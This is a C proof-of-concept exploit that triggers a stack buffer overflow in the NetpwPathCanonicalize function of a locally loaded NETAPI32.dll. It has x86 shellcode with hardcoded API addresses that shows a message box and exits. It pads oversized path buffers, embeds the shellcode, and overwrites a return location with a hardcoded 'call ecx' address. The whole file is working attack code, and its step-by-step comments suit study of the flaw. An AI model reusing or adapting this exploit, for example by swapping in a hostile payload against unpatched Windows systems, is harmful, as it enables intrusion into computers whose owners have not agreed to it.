#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);

char ShellCode[] =
              "\x33\xDB"                          // xor ebx,ebx
              "\xB7\x06"                          // mov bh,6
              "\x2B\xE3"                          // sub esp,ebx
              "\x33\xDB"                          // xor ebx,ebx
              "\x53"                              // push ebx
              "\x68\xB9\xFE\xB9\xFE"              // push "haha"
              "\x8B\xC4"                          // mov eax,esp
              "\x53"                              // push ebx
              "\x68\xD0\xA1\xEA\xCA"
              "\x68\x20\x62\x79\x3A"
              "\x68\xB2\xE2\xCA\xD4"
              "\x68\xD2\xE7\xB3\xF6"              // push
              "\x8B\xCC"                          // mov ecx,esp
              "\x53"                              // push ebx
              "\x50"                              // push eax
              "\x51"                              // push ecx
              "\x53"                              // push ebx
              "\xB8\xea\x07\xd5\x77"
              "\xFF\xD0"                          // call MessageBox
              "\x53"
              "\xB8\xFA\xCA\x81\x7C"
              "\xFF\xD0" ;                        // call ExitProcess

int main()
{
    // Set the length of the second part of the path string to 0x21A
    char lpWideCharStr[0x21A];
    // Set the buffer space for receiving the formatted string to 0x420
    char arg_4[0x420];
    // Indicates the size of arg_4, set it to the same size as the buffer of arg_4
    int  arg_8 = 0x420;
    // Set the length of the first part of the path string to 0x206, which is exactly the threshold size
    char arg_C[0x206];
    long arg_10 = 1;
    
    HINSTANCE libHandle; MYPROC funcAddr;
    // Load the NETAPI32.dll function
    char dllName[] = "./NETAPI32.dll";
    libHandle = LoadLibrary(dllName);
    LoadLibrary("user32.dll");
    // Get the address of the function NetpwPathCanonicalize()
    funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
    // Verify if it is successfully obtained, if not, release the handle resources
    if ( libHandle == NULL || funcAddr == NULL )
    {
        MessageBox(0, "Load error!", "Warning", 0);
        FreeLibrary(libHandle);
    }
    // Fill the first part of the path string with 'A', ending with \x00 in the last two positions
    memset(arg_C, 0, sizeof(arg_C));
    memset(arg_C, 'A', sizeof(arg_C)-2);
    // Fill the second part of the path string with 'B', ending with \x00 in the last two positions
    memset(lpWideCharStr, 0, sizeof(lpWideCharStr));
    memset(lpWideCharStr, 'B', sizeof(lpWideCharStr)-2);
    // Embed the shellcode at the beginning of the overflow code
    memcpy(arg_C, ShellCode, sizeof(ShellCode));
    // call ecx
    lpWideCharStr[0x212] = 0xF9;
    lpWideCharStr[0x213] = 0x52;
    lpWideCharStr[0x214] = 0x18;
    lpWideCharStr[0x215] = 0x75;
    // Call the NetpwPathCanonicalize() function
    (funcAddr)(lpWideCharStr, arg_4, arg_8, arg_C, &arg_10, 0);
    // Release handle resources
    FreeLibrary(libHandle);
    // Return
    return 0;
}
